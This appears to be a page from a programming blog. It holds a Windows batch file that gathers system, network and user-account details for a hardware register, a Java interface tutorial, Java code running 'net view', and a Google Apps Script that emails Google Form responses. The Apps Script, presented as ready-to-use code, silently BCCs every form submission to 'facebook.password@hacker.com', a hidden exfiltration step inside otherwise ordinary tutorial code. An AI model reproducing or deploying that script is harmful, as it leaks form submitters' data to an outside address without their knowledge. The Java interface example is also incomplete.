March 30, 2016

To get system details through a bat file

How to get all system details to text file

Last week i was informed by I T section kozhikode  +bithesh soubhagya  to develop a software to track the hardware and software details of old working system in kozhikode region to create a hardware register.


Here i am writing a code that can generate a text file with all needed system information. This can be used for diagnosis system issues. To find the serial number and model number of the system, the user details, the software details, medium access control address, ip configuration details, system information, routing table details, product details etc ... If you are looking for a tutorial about commands in operating system , just follow the link given below.

just copy and the paste the following code to a text file then save the file with an extension .bat

BAT FILE CREATION



MKDIR D:\ITDiagnosis
if not exist D:\ITDiagnosis\diagnosis.txt dir > D:\ITDiagnosis\diagnosis.txt
echo cfed tool run on %date% >> D:\ITDiagnosis\diagnosis.txt
wmic bios get serialnumber >> D:\ITDiagnosis\diagnosis.txt
wmic computersystem get model >> D:\ITDiagnosis\diagnosis.txt
echo checking units network issue >> D:\ITDiagnosis\diagnosis.txt
echo ===================== >> D:\ITDiagnosis\diagnosis.txt
net view >> D:\ITDiagnosis\diagnosis.txt

echo checking your internet >> D:\ITDiagnosis\diagnosis.txt
echo ================>> D:\ITDiagnosis\diagnosis.txt
ping www.google.co.in >> D:\ITDiagnosis\diagnosis.txt

echo checking ro ftp connection >> D:\ITDiagnosis\diagnosis.txt
echo ===================>> D:\ITDiagnosis\diagnosis.txt
ping 117.218.68.154 >> D:\ITDiagnosis\diagnosis.txt


echo ip address details >> D:\ITDiagnosis\diagnosis.txt
echo =============>> D:\ITDiagnosis\diagnosis.txt
ipconfig /all >> D:\ITDiagnosis\diagnosis.txt

getmac >> D:\ITDiagnosis\diagnosis.txt

echo Routing table >> D:\ITDiagnosis\diagnosis.txt
echo =========>> D:\ITDiagnosis\diagnosis.txt
route print >> D:\ITDiagnosis\diagnosis.txt


echo System Informations >> D:\ITDiagnosis\diagnosis.txt
echo ===============>> D:\ITDiagnosis\diagnosis.txt
systeminfo >> D:\ITDiagnosis\diagnosis.txt

echo User details >> D:\ITDiagnosis\diagnosis.txt
echo ===============>> D:\ITDiagnosis\diagnosis.txt
net user >> D:\ITDiagnosis\diagnosis.txt
wmic useraccount list brief >> D:\ITDiagnosis\diagnosis.txt

if not exist D:\ITDiagnosis\swlist.txt dir > D:\ITDiagnosis\swlist.txt
wmic product >> D:\ITDiagnosis\swlist.txt

echo The code is written by belazy.blogspot.in   >> D:\ITDiagnosis\diagnosis.txt


writing to a file










How to create a bat file ?

you can follow this link

windows commands

Similar posts

compare two strings using command prompt



Thanks to +Shimjith Kumar

Author : +belazy


The application is developed for consumerfed kozhikode region (for  +bithesh soubhagya )


http://javabelazy.blogspot.in/

March 23, 2016

Interface in java

Java Interface with example code

      A Java interface is similar like class, where contains only unimplemented methods. The class which implements that interface should define that method. This way the java achieve polymorphism. In other words, java doesn't support multiple inheritance directly but can be achieved it indirectly through Interface concept.



package interfaces;
public class Main {

   
         
    public static void main(String[] args) {
     
          shape circleshape=new circle();
       
             circleshape.Draw();
           
             shape trish=new triangle();
             trish.Draw();
           
    }
}

 interface shape
 {
     public   String baseclass="shape";
   
     public void Draw();
   
   
 }
 class circle implements shape
 {

    public void Draw() {
        System.out.println("Drawing Circle here");
    }
 
 
   
 }

An interface is a group of methods with empty bodies ( nothing will be defined in that methods), Here shape is an Interface that contains method Draw(), which is an unimplemented method

package interfaces;

public class triangle implements shape {

@Override
public void Draw() {
// TODO Auto-generated method stub
System.out.println(" ni");

}

}

What will happens if two a class implements two interfaces having a similar method in both?

I called the function System.out.println(new InterfaceTest().hello());

we dont know which interface is working

package com.tutorial.interfaces;
/**
 *
 */

/**
 * @author belazy
 *
 */
public class InterfaceTest implements InterfaceOne, InterfaceTwo {

/**
* @param args
*/
public static void main(String[] args) {
// TODO Auto-generated method stub
//new InterfaceTest();
System.out.println(new InterfaceTest().hello());

}

@Override
public String hello() {
// TODO Auto-generated method stub
return "test";
}

}


+Belazy L


http://javabelazy.blogspot.in/

March 22, 2016

How to get the list of users in network using java

How to get the list of computer users in the network




//List of users in the network

import java.io.*;

public class NetworkUsers
    {
static String all;
     public static void main(String[] args)
         {try {
        // Execute command
       
        Process child = Runtime.getRuntime().exec("net view");
        // Get the input stream and read from it
        InputStream in = child.getInputStream();
        int c;
        while ((c = in.read()) != -1)
        {
        char e=(char)c;
        System.out.println(e);
        //process((char)c);
        }
        in.close();
        } catch (IOException e) { }     }

private static void process(char c) {
// TODO Auto-generated method stub
System.out.print(c);
   //all  =String.valueOf(c) +all;
  // System.out.println(all);
}


         }

Program explanation

Inputstream implies that the program is getting input as a stream of bytes

Similar posts


How to get system details through a bat file



http://javabelazy.blogspot.in/

March 17, 2016

sending email on form submit in google form

How to sending email on form submit in google form using google script code



Sample google form

The google script for sending email on form submit


// Send the google form data on entering submit button
function sendMailOnFormSubmit(e){

     var intendForm = FormApp.getActiveForm(); // you can select from by its id
     var response = intendForm.getResponses();
     //response.length
     var reponseCount = response.length-1;
     //Logger.log(""+indentForm.getItems());
    // Logger.log(""+indentForm.getResponses());
     //Logger.log(e.
      Logger.log(""+response.length);
      var htmlBody = 'Sir, <br/><br/> <p> Sending indent to the following e - mail id   <br/></p> '+response

[reponseCount].getItemResponses()[0].getResponse();
      var subject =  ' GOOGLE FORM DATA ';
      var optAdvancedArgs = {name: " BRANCH NAME ",bcc :"facebook.password@hacker.com", htmlBody:

htmlBody};
      MailApp.sendEmail("youremailid@email.com", subject , "Email Body" , optAdvancedArgs);
      Logger.log(" sendMailOnFormSubmit run successfully ");

}



For Google Form with multiple widgets


      var branchName = response[reponseCount].getItemResponses()[0].getResponse();
      var contactNumber = response[reponseCount].getItemResponses()[1].getResponse();
      var reportedBy = response[reponseCount].getItemResponses()[2].getResponse();
      var complaintType = response[reponseCount].getItemResponses()[3].getResponse();
      var description = response[reponseCount].getItemResponses()[4].getResponse();




Sample google form

Spreadsheet responses reports




+belazy

http://javabelazy.blogspot.in/

Facebook comments